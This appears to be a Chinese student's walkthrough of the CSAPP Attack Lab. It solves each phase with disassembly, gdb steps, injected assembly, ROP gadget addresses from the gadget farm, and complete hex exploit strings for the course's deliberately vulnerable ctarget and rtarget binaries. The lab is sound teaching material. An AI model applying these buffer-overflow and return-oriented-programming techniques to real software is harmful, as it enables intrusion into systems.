CSAPP-3-attacklab
1.attack lab 引言
参考:
目的:理解缓冲区溢出错误
文件解析:
- ctarget一个易受到code-injection攻击的可执行程序
- rtarget一个人易受到return-oriented-programming攻击的可执行程序
- cookie一个8位的十六进制编码,唯一标识符用于身份验证
- farm目标gadget-farm的源代码,产生return-oriented programming的时候会用到
- hex2raw一个生成攻击字符串的程序
函数运行:
- 当运行./ctarget报错Running on an illegal host [DESKTOP-7HBMUNV]
- 则需要运行./ctarget -q不参与在线评分系统
 
实验阶段:

2.code-injection-attacks
利用字符串攻击ctarget
2.1 lever 1
- 不需要注入新代码,输入字符串需要指引程序去执行一个已经存在的函数。 
- ctarget中函数test调用了 getbuf,test的函数如下: - 1 
 2
 3
 4
 5- void test() { 
 int val;
 val = getbuf();
 printf("No exploit. Getbuf returned 0x%x\n", val);
 }
- getbuf执行返回语句时(第五行),按照规则,程序会继续执行test函数中的语句,而我们想要改变这个行为,touch1代码如下 - 1 
 2
 3
 4
 5
 6- void touch1(){ 
 vlevel = 1; /* Part of validation protocol */
 printf("Touch1!: You called touch1()\n");
 validate(1);
 exit(0);
 }
- 任务让ctarget在getbuf执行返回语句后执行touch1的代码,注意:攻击字符串可以破坏栈中不直接和本阶段相关的部分,这不会造成问题,因为touch1会使得程序直接退出。 
建议:
- 设计本阶段的攻击字符串所需的信息都从检查CTARGET的反汇编代码中获得。用objdump -d进行反汇编。
- 主要思路是找到touch1的起始地址的字节表示的位置,使得getbuf结尾处的ret指令会将控制转移到touch1。
- 注意字节顺序。
- 可能需要用GDB单步跟踪调试getbuf的最后几条指令,确保它按照你期望的方式工作。
- buf在getbuf栈帧中的位置取决于编译时常数BUFFER_SIZE的值,以及GCC使用的分配策略。你需要检查反汇编带来来确定它的位置。
思路:
- 对ctarget仅下反汇编。 
- 得到test的反汇编代码: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- 0000000000401968 <test>: 
 401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
 40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
 401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
 401976: 89 c2 mov %eax,%edx #edx = eax
 401978: be 88 31 40 00 mov $0x403188,%esi #
 40197d: bf 01 00 00 00 mov $0x1,%edi
 401982: b8 00 00 00 00 mov $0x0,%eax
 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
 40198c: 48 83 c4 08 add $0x8,%rsp
 401990: c3 retq
- getbuf的反汇编代码: - 1 
 2
 3
 4
 5
 6
 7- 00000000004017a8 <getbuf>: 
 4017a8: 48 83 ec 28 sub $0x28,%rsp #0x28 = 40 开辟了40字节的栈空间
 4017ac: 48 89 e7 mov %rsp,%rdi
 4017af: e8 8c 02 00 00 callq 401a40 <Gets>
 4017b4: b8 01 00 00 00 mov $0x1,%eax
 4017b9: 48 83 c4 28 add $0x28,%rsp
 4017bd: c3 retq
- 以及touch1的反汇编代码: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- 00000000004017c0 <touch1>: 
 4017c0: 48 83 ec 08 sub $0x8,%rsp
 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
 4017cb: 00 00 00
 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
 4017d8: bf 01 00 00 00 mov $0x1,%edi
 4017dd: e8 ab 04 00 00 callq 401c8d <validate>
 4017e2: bf 00 00 00 00 mov $0x0,%edi
 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
- test 栈顶开辟了0x8 8个字节地址空间,getbuf栈顶开辟了0x28 40个字节地址空间,所以此时的栈顶结构如下: - 栈 - 说明 - test - 返回地址 - ret - %rsp + 40 - getbuf - %rsp - 栈顶 
- 要让 getbuf 返回后执行touch1 的代码。也就是返回地址应该改为touch1的值(0x4017c0) 
- 所以可以让输入占满 getbuf 开辟的0x28占空间,并在在字符串中写入touch1的地址值。注意地址输入的顺序是小端 
 
 
2.2 level 2
- touch2的代码如下: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- void touch2(unsigned val){ 
 vlevel = 2; /* Part of validation protocol */
 if (val == cookie) {
 printf("Touch2!: You called touch2(0x%.8x)\n", val);
 validate(2);
 } else {
 printf("Misfire: You called touch2(0x%.8x)\n", val);
 fail(2);
 }
 exit(0);
 }
- 必须使得ctarget执行touch2的代码而不是返回test函数,必须要让touch2 以为收到的参数是你的 - cookie(0x59b997fa)。
建议:
- 需要确定注入代码的地址的字节表示位置,能够使得getbuf代码最后ret指令能够转移到那里
- 函数的第一个参数是放在寄存器%rdi中
- 注入的代码必须将寄存器的值设定你的cookie,然后利用ret指令将控制转移到touch2的第一条指令
- 不要在攻击代码中使用 jmp 或 call 命令,这些指令编码的地址很难确定,所以的控制转移都要使用ret指令,即使实际上你并不是要从一个函数调用返回
思路:
- touch2 的汇编代码如下: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22- 00000000004017ec <touch2>: 
 4017ec: 48 83 ec 08 sub $0x8,%rsp #8个字节
 4017f0: 89 fa mov %edi,%edx
 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
 4017f9: 00 00 00
 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
 401802: 75 20 jne 401824 <touch2+0x38>
 401804: be e8 30 40 00 mov $0x4030e8,%esi
 401809: bf 01 00 00 00 mov $0x1,%edi
 40180e: b8 00 00 00 00 mov $0x0,%eax
 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
 401818: bf 02 00 00 00 mov $0x2,%edi
 40181d: e8 6b 04 00 00 callq 401c8d <validate>
 401822: eb 1e jmp 401842 <touch2+0x56>
 401824: be 10 31 40 00 mov $0x403110,%esi
 401829: bf 01 00 00 00 mov $0x1,%edi
 40182e: b8 00 00 00 00 mov $0x0,%eax
 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
 401838: bf 02 00 00 00 mov $0x2,%edi
 40183d: e8 0d 05 00 00 callq 401d4f <fail>
 401842: bf 00 00 00 00 mov $0x0,%edi
 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
- touch2函数的地址位- 0x4017ec。
- 不仅仅需要修改返回地址调用 - touch2函数,而已还要把- cookie作为参数传递进去,题目不建议使用- jmp和- call指令进行跳转,所以只能通过在栈中保存目标代码的地址,然后以- ret的形式进行跳转。
- ret指令:- x86-64用%rip表示程序计数器,它时刻指向下一条要执行的指令在内存中的地址
- 于是ret指令就相当于pop %rip把栈中存放的地址弹出作为下一条指令的地址
- 所以可以利用push和ret就能实现指令的转移
 
- 做法如下: - 首先输入字符串把caller的栈中的存储的返回地址修改为注入代码存放的地址
- 注入代码:- 查看cookie的值,将第一个参数寄存器修改为该值
- 在栈中压入touch2的地址
- ret指令调用返回值即是touch2
 
- 查看
- 注入代码的地址,注入代码应该存放在getbuf分配的0x28大小的栈中,地址为getbuf栈顶。
 
- 首先输入字符串把
- 注入代码为 - 1 
 2
 3- movq $0x59b997fa %rdi #将cookie的值传入 rdi中 
 pushq &0x4017ec #touch2函数的地址
 ret
- 接下来利用gdb获取getbuf 的栈顶位置, - b getbuf()在getbuf函数打上断点
- r -q执行程序
- stepi单步进入函数内部 一遍获取 rsp的值
- p/x $rsp按照16进制print出 $rsp的值
 
- 所以%rsp中存放的值是0x5561dc78也就是下一个程序执行的地址 应该是我们要修改的返回地址
 
- 逻辑: - getbuf执行完- ret后,弹出注入代码的地址
- 程序执行注入代码,再次执行ret弹出touch2函数的代码
 
实现:
- 将汇编代码写在c2.s文件中,然后进行编译,使用gcc -c c2.s和objdump -d c2.o > c2.d得到字节级的表示
 
- 将字节放到40个字节的开头,然后代码地址放在溢出的部分,那么getbuf读取字符串的时候会溢出,此时栈顶rsp存放的地址是0x5561dc78,并且栈已经被注入代码覆盖,然后ret到代码地址,运行注入代码,写入cookie和touch2的地址。
 
 
2.3 level 3
同样是注入攻击,但是是传递字符串作为参数
hexmatch代码:
| 1 | /* Compare string to hex represention of unsigned value */ | 
 touch3代码:
| 1 | void touch3(char *sval) | 
目的是让ctarget执行touch3 而不是返回test
建议:
- 攻击字符串中要包含cookie的字符串,这个字符串由8个16进制数字组成顺序由高位到地位,开头没有0x
- 字符串在c语言中表示为字节序列,后跟值0的字节
- 注入代码应该将寄存器%rdi设置为攻击字符串的地址
- 调用hexmatch和strncmp函数的时候,会将数据压入栈中,覆盖getbuf使用的缓冲区的内存,需要将cookie字符串放置在合适的地方
思路:
- 本题与phase2类似,区别是本题传入的是字符串,切需要将cookie字符串放置在合适的位置
- char *s = cbuf + random() % 100; //s是随机的hexmatch中这一行代码表面 s是随机的,再然后根据建议4,所以如果跟- phase2一样注入- getbuf函数的栈中的话,可能会被被覆盖,所以不能将字符串放在- getbuf的栈中,所以可以放置在- test的栈中。
- 其余思路跟phase2差不多
实现:
- test的反汇编代码: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- 0000000000401968 <test>: 
 401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
 40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
 401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
 401976: 89 c2 mov %eax,%edx #edx = eax
 401978: be 88 31 40 00 mov $0x403188,%esi #
 40197d: bf 01 00 00 00 mov $0x1,%edi
 401982: b8 00 00 00 00 mov $0x0,%eax
 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
 40198c: 48 83 c4 08 add $0x8,%rsp
 401990: c3
- touch3的反汇编代码: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27- 00000000004018fa <touch3>: 
 4018fa: 53 push %rbx
 4018fb: 48 89 fb mov %rdi,%rbx
 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
 401905: 00 00 00
 401908: 48 89 fe mov %rdi,%rsi
 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
 401911: e8 36 ff ff ff callq 40184c <hexmatch>
 401916: 85 c0 test %eax,%eax
 401918: 74 23 je 40193d <touch3+0x43>
 40191a: 48 89 da mov %rbx,%rdx
 40191d: be 38 31 40 00 mov $0x403138,%esi
 401922: bf 01 00 00 00 mov $0x1,%edi
 401927: b8 00 00 00 00 mov $0x0,%eax
 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
 401931: bf 03 00 00 00 mov $0x3,%edi
 401936: e8 52 03 00 00 callq 401c8d <validate>
 40193b: eb 21 jmp 40195e <touch3+0x64>
 40193d: 48 89 da mov %rbx,%rdx
 401940: be 60 31 40 00 mov $0x403160,%esi
 401945: bf 01 00 00 00 mov $0x1,%edi
 40194a: b8 00 00 00 00 mov $0x0,%eax
 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
 401954: bf 03 00 00 00 mov $0x3,%edi
 401959: e8 f1 03 00 00 callq 401d4f <fail>
 40195e: bf 00 00 00 00 mov $0x0,%edi
 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
- 使用gdb调试 获取test栈指针的地址 - 0x5561dca8这个地址就是我们- cookie字符串需要存放的地址,也是调用- touch3应该传入的参数,由touch3 的地址为- 0x4018fa- b $0x401968设置断点
- r -q运行
- stepi单步执行进入函数
- p/x $rsp打印栈指针的值
 
 
- 注入代码为: - 1 
 2
 3- movq $0x5561dca8, %rdi #从0x5561dca8 加载字符串到rdi中 
 pushq $0x4018fa #传入touch3 的地址
 ret
- 同上操作得到字节级返回: 
 
- 所以phase3的栈帧应该是如下:来自【精选】CSAPP-Lab03 Attack Lab 详细解析-CSDN博客 THX!!! 
 
- 将cookie = 59b997fa 按照ascii 转成字符串 为 - 35 39 62 39 39 37 66 61
- 逻辑: - getbuf 执行ret, 从栈中弹出地址0x5561dc78,跳转到注入代码
- 代码执行,将存在地址为0x5561dca8的字符串传入参数寄存器%rdi
- 将touch3的地址压入栈
- 执行ret 从栈中弹出touch3 函数的地址。
 
- 所以注入最终字符串为: 
 
- 因为在 - text栈帧中多用了一个字节存放- cookie,所以最后- 8个字节用来存放- cookie的字符串
 
3.return-oriented programming
说明:对rtarget 进行攻击比ctarget要困难许多
- rtarget使用了随机化,使得每次运行时栈堆的位置都不同。
- 将保存栈的内存区域设置为不可执行,所以即使将攻击代码放入了程序计数器中,也会不可以执行
ROP:面向返回的程序设计,就是在已经存在的程序中找到特定的以ret结尾的指令序列为我们所用,称这样的代码段为gadget,把要用到的部分的地址压入栈中,每次ret后取出一个新的gadget,所以就可以形成一个程序连,实现攻击。——拼凑代码
3.1 level 2
phase 4将重复phase 2阶段的攻击(修改返回地址 调用touch2),不同的是要使用gadget farm 里的gadget 来攻击rtarget程序,你的答案只使用如下指令类型的gadget。也只能使用前八个寄存器%rax - %rdi
- movq:代码figure 3A
- popq:见figure 3B
- ret:0xc3 单字节编码
- nop:0x90单字节编码,
建议:
- 所有的gadgets都可在rtarget代码的start-farm 到mid -farm中找到
- 只可以使用两个gadgets来实现这次攻击
- 如果一个gadget使用了popq指令,那么它会从栈中弹出数据。这样一来,你的攻击代码能既包含gadget的地址也包含数据。
思路:
- phase 2 注入的代码: - 1 
 2
 3- movq $0x59b997fa %rdi #将cookie的值传入 rdi中 
 pushq &0x4017ec #touch2函数的地址
 ret
- 很难从程序中获得带有特定立即数( - $0x59b997fa)的gadget代码。—–联想到建议第三点如果一个gadget 使用了pop命令,那么它会从栈中弹出数据,这样一来你的攻击代码技能包含gadget的地址也包含数据
- 对 rtarget 执行反汇编 - objdump -d rtarget > rtarget.s得到.s文件
- 根据上面的思路,理论上只需要将cookie 赋值给 参数寄存器%rdi,然后再将ret设置为touch2的地址 - 1 
 2- pop %rdi 
 ret
- 在 - rtarget.s中start_farm到 end_farm这一段搜索是否存在- pop %rdi----用5f表示——-没有这个gadget
- 所以再根据题目提示的,可以用两条gadget组合,那么可以得到如下代码 - 1 
 2
 3
 4
 5
 6- #cookie 数据 gadget1 
 pop %rax
 ret #ret gadget2
 #gadget2 rax移动到 rdi
 movq %rax, %rdi
 ret # touch2
- 查表 - popq %rax的编码表示为- 58,- movq %rax, %rdi的编码表示为- 48 89 c7
- 在farm搜索这几个编码 存在58 - 1 
 2
 3
 4
 5
 6
 7- 00000000004019a7 <addval_219>: 
 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
 4019ad: c3 retq
 -----
 00000000004019a0 <addval_273>:
 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
 4019a6: c3 retq
- 所以可以得到 - 58的指令地址为- 0x4019ab,- 48 89 c7的指令地址为- 0x4019a2,- cookie(0x59b997fa),- touch2(4017ec)
- 所以可以得到test输入的字符串为以下: - 1 
 2
 3
 4
 5
 6
 7
 8
 9- 00 00 00 00 00 00 00 00 
 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 #补齐40个字节
 ab 19 40 00 00 00 00 00 # pop %rax的指令 58
 fa 97 b9 59 00 00 00 00 # cookie的值 59b997fa
 a2 19 40 00 00 00 00 00 # movq %rax,rdi的指令
 ec 17 40 00 00 00 00 00 # touch2的地址
 
逻辑:
- 栈帧:
 
- 首先将getbuf开辟的40个字节的栈填满溢出,
- 然后getbuf返回后会执行gadget1函数,会将cookie的值弹出,并存入%rax中
- 然后ret执行gadget2会将%rax转移到%rdi
- 然后ret到touch2的地址,调用touch2函数
3.2 level 3
phase 5将实现phase 3调用touch3函数,传入的是cookie的字符串。
可以使用 farm中的所有代码。
建议
- 需要关注movl指令对寄存器高4字节的影响
- 官方解法需要8个gadgets
phase3注入的代码为:
| 1 | movq $0x5561dca8, %rdi #从0x5561dca8是栈中存放cookie的地址 加载字符串到rdi中 | 
- rtarget中 栈的位置是随机的 所以没有办法使用绝对地址直接找到cookie存放在栈中的地址,因此可以采用偏移量计算的方式,用相对地址访问。 
- 计算相对地址可以使用%rsp寄存器 %rsp—-栈指针寄存器 指向栈顶,然后加上偏移量就可以获得存放 cookie的地址 
- 进行地址偏移计算需要用到 lea(load effective address)取有效地址,即取偏移地址,在farm中搜索得到:  
- 这一行是计算 - %rdi+%rsi,并将结果放在- %rax中,同上phase4,需要将- %rax中存放的数据传入到- %rdi中,所以需要:- mov %rax, %rdi调用函数。
- 由于操作数寄存器为 - %rdi和- %rsi,需要将栈顶取出放入到- %rdi中,将偏移量取出放入到- %rsi(%esi)中
- 获取栈指针位置: - movq %rsp,%rdi但farm每一满足条件的字节码,所以可以多次移动:- movq %rsp ,%rax—–- movq %rax,%rdi
- 地址偏移量是我们自己手动输入,需要: - popq %rax将其取出放入到- %rax寄存器
- 然后将 - %rax(%eax)放入到- %rsi(%esi)中,farm没有直接指令:- mov %eax,%esi,因此需要两条指令,也没有,三条:- mov %eax,%ecx—-- mov %ecx,%edx—–- mov %edx,%esi
- 因此 全部需要的指令如下: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21- #栈指针 存入rdi 
 movq %rsp, %rax
 ret
 movq %rax, %rdi
 ret
 #传入偏移地址
 popq %rax
 ret
 movl %eax, %edx
 ret
 movl %edx, %ecx
 ret
 movl %ecx, %esi
 ret
 #计算cookie的地址,栈指针+偏移地址,存入rax
 lea (%rdi, %rsi, 1), %rax
 ret
 movq %rax, %rdi
 ret
- 栈帧的示意图:【精选】CSAPP-Lab03 Attack Lab 详细解析-CSDN博客  
- 0x48:getbuf之后ret 相当于执行了一次pop操作,所以test的栈指针%rsp = %rsp + 0x8.所以cookie相对此hi栈顶的偏移量是0x48 —-cookie前面指令有9条 9*8=0x48
- 所以序列为: 
- 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
 


